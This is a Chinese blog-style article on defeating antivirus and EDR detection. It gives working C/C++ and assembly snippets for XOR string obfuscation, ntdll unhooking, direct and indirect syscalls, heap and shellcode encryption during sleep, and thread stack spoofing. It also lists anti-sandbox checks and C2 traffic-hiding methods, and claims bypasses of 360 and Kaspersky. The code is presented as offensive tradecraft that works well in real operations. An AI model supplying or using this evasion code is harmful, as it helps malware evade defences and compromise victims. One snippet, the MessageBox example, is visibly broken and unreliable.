原创 鬼屋女鬼 2023-11-07 16:03 江苏
终端对抗向的技巧型文章。
“ 终端对抗向技巧型文章,闭门沙龙精华提炼版。”
0x00 前言
终端对抗向的技巧型文章,欢迎留言与笔者沟通交流!
0x01 Static Analysis Evasion(静态文件规避)
一、检测机制
基于签名的检测:文件hash、特征码、文件名、图标
启发式查杀:导入导出表、API调用链
文件熵分析:文件中字节的熵
元数据分析:编译器、时间戳、数字签名
PE节表:PE文件中异常节
机器学习:例如常见的QVM HEUR 202
二、规避技巧
加密/压缩:使用自实现加密算法
常规方法:
XOR
Base64
AES
RC4
针对shellcode的检测
代码混淆:混淆源代码(llvm+pass、ollvm)
控制流平坦化
虚假控制流
指定替换
Pass插件
LLVM 混淆
OLLVM 混淆
字符串加密:避免基于字符串的检测
利用C++模板:constexpr 编译时间字符串加密
示例代码:
template<size_t size>constexpr auto obfuscate(const char plaintext[size]){MetaString<size> obfuscated;for (size_t i = 0; i < size - 1; i++)obfuscated.buff[i] = plaintext[i] ^ key[i % sizeof(key)];obfuscated.buff[size - 1] = 0;return obfuscated;}
效果如下:
动态加载windows api:隐藏导入表
使用
GetProcAddress()
GetModuleHandle()
动态获取windows API,隐藏导入表
示例代码:
typedef int(WINAPI* pMessageBoxW)(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);int main(){pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L"USER32.dll"), "MessageBoxA");0, 0, 0);return 0;}
效果如下:
降低文件熵
shellcode 转 English words
MAC、IPV4、IPV6、UUID编码
分离加载(远程拉取或突破隐写)
添加大资源文件
加壳:自写壳、商业壳
UPX
VMProtect
Shielden
Themida
ASPack
Enigma Protector
模拟正常文件:签名、文件名、图标、属性信息、资源
给Exe或Dll添加签名、图标、版本属性信息、图片、对话框等资源文件,使文件看起来更加合法,以规避启发式查杀
以360为例,常规我们编译出来的文件经常爆QVM202,但是当我们添加资源文件后,我们即可绕过QVM202
动态生成
动态生成加密key
动态编译生成文件
......
0x02 Dynamic Behavioral Evasion (动态行为规避)
一、检测机制
Sandbox:沙箱运行观察判断行为是否恶意
子进程/线程创建:例如监控Cmd.exe、Powershell.exe
敏感高危操作:修改注册表、添加用户、添加系统服务、添加计划任务、提权、获取凭证、截图等等….
敏感目录读写:注册表、自启动目录
进程链检测:监控父子进程间关系判断是否异常,例如word.exe—powershell.exe
代码注入检测:例如远程线程注入、DLL注入等等
网络通信:监控网络流量,分析可能的C2流量
API调用:Hook 常见 Windows API
二、规避技巧
Anti sandbox:反沙箱
使用质数运算延迟执行
检测系统开机时间是否大于某个设定值
检测物理内存是否大于4G
检测CPU核心数是否大于4
检测文件名是否修改
检测磁盘大小是否大于100G
判断是否有参数代入
Anti VM:反虚拟机
检测进程名
检测注册表
检测磁盘中文件
如图:
Unhook:从磁盘加载ntdll
通过读取磁盘上ntdll.dll的.text节,覆盖内存当中的ntdll.dll的.text节,达到脱钩的效果
示例代码:
HANDLE process = GetCurrentProcess();MODULEINFO mi = {};HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {DWORD oldProtection = 0;bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);}}CloseHandle(process);CloseHandle(ntdllFile);CloseHandle(ntdllMapping);FreeLibrary(ntdllModule);return 0;
Syscall:Direct syscall、Indirect syscall
Direct syscall
示例代码:
NtAllocateVirtualMemory PROCmov r10, rcxmov eax, wNtAllocateVirtualMemorysyscallretNtAllocateVirtualMemory ENDPUINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
Indirect syscall
示例代码:
NtWriteVirtualMemory PROCmov r10, rcxmov eax, wNtWriteVirtualMemoryjmp QWORD PTR [sysAddrNtWriteVirtualMemory]NtWriteVirtualMemory ENDPUINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
PE in Memory:内存加载
利用 Inline-Execute-PE 在内存中加载运行PE文件
利用 BOF.NET 在内存中执行.NET程序集文件
进程断链:断掉父子进程链
利用模拟运行断链
利用WMIC断链
利用Com断链
0x03 Memory Scanners Evasion (内存扫描规避)
一、检测机制
内存扫描:扫描内存查找注入的恶意代码,并检测进程内存空间中的可疑API调用
检测项:进程信息、shellcode特征、堆栈、内存映像
二、规避技巧
睡眠混淆:hook sleep函数,实现内存加密和解密
Heap Encryption
通过Hook Sleep函数,睡眠期间加密堆内存规避内存扫描:
void WINAPI HookedSleep(DWORD dwMiliseconds) {DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());HeapEncryptDecrypt();OldSleep(dwMiliseconds);HeapEncryptDecrypt();DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());}
关键部分代码,加密堆内存:
static PROCESS_HEAP_ENTRY entry;VOID HeapEncryptDecrypt() {SecureZeroMemory(&entry, sizeof(entry));while (HeapWalk(currentHeap, &entry)) {if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);}}}
ShellcodeFluctuation
Hook Sleep 函数
定位内存中的shellcode
睡眠期间翻转为RW
睡眠结束翻转为RX
无限循环,以此规避内存扫描
关键部分代码:
XOR加密:
void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey){uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;for (size_t i = 0; i < bufSizeRounded; i++){buf32[i] ^= xorKey;}for (size_t i = 4 * bufSizeRounded; i < bufSize; i++){buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);}}
定位内存中的shellcode地址:
bool isShellcodeThread(LPVOID address){MEMORY_BASIC_INFORMATION mbi = { 0 };if (VirtualQuery(address, &mbi, sizeof(mbi))){//// To verify whether address belongs to the shellcode's allocation, we can simply// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.//if (mbi.Type == MEM_PRIVATE){const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;return ((mbi.Protect & PAGE_EXECUTE_READ)|| (mbi.Protect & PAGE_EXECUTE_READWRITE)|| (mbi.Protect & expectedProtection));}}return false;}
加密和解密shellcode:
void shellcodeEncryptDecrypt(LPVOID callerAddress){if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0){if (!isShellcodeThread(callerAddress))return;DWORD oldProt = 0;if (!g_fluctuationData.currentlyEncrypted|| (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)){::VirtualProtect(g_fluctuationData.shellcodeAddr,g_fluctuationData.shellcodeSize,PAGE_READWRITE,&g_fluctuationData.protect);log("[>] Flipped to RW.");}log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");xor32(reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),g_fluctuationData.shellcodeSize,g_fluctuationData.encodeKey);if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA){//// Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE// and our previously set up vectored exception handler should catch invalid memory access, flip back memory// protections and resume the execution.//// Be sure to check out ORCA666's original implementation here:// https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285//::VirtualProtect(g_fluctuationData.shellcodeAddr,g_fluctuationData.shellcodeSize,PAGE_NOACCESS,&oldProt);log("[>] Flipped to No Access.\n");}else if (g_fluctuationData.currentlyEncrypted){::VirtualProtect(g_fluctuationData.shellcodeAddr,g_fluctuationData.shellcodeSize,g_fluctuationData.protect,&oldProt);log("[<] Flipped back to RX/RWX.\n");}g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;}}
效果:
Bypass Kasperskey Memory Scanner:
Hook Sleep 函数
定位内存中的shellcode
睡眠期间翻转为RW
睡眠结束翻转为RX
无限循环,以此规避内存扫描
线程堆栈欺骗:欺骗线程堆栈返回地址
默认情况下,线程的返回地址指向我们驻留在内存中的shellcode,通过检查可疑进程中线程的返回地址,可以轻松识别到内存中的shellcode
最简单的方法,直接用0覆盖返回地址,从而截断堆栈
关键代码
void WINAPI MySleep(DWORD _dwMilliseconds){const register DWORD dwMilliseconds = _dwMilliseconds;// Perform this (current) thread call stack spoofing.PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();const register ULONG_PTR origReturnAddress = *overwrite;log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack...");*overwrite = 0;log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");// Perform sleep emulating originally hooked functionality.::SleepEx(dwMilliseconds, false);// Restore original thread's call stack.log("[<] Restoring original return address...");*overwrite = origReturnAddress;}
效果对比:
默认线程调用堆栈:
欺骗后的线程调用堆栈:
总结:
堆栈欺骗+内存加密配合使用实战效果极佳,参考Cobalt Strike 4.7的SleepMask
0x04 Network traffic Evasion(网络流量规避)
一、检测机制
威胁情报:IP、域名
流量特征:固定通信流量特征
二、规避技巧
使用HTTPS
云函数
域前置
更改C2、webshell等工具通信流量
0x05 总结
抛出沙龙上,交流提出的两个问题。
以后杀软的发展趋势会着重在哪些地方?
以后对抗难点会在哪些地方?
逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流!
最后公众号后台回复终端对抗,获取作者联系方式哈。
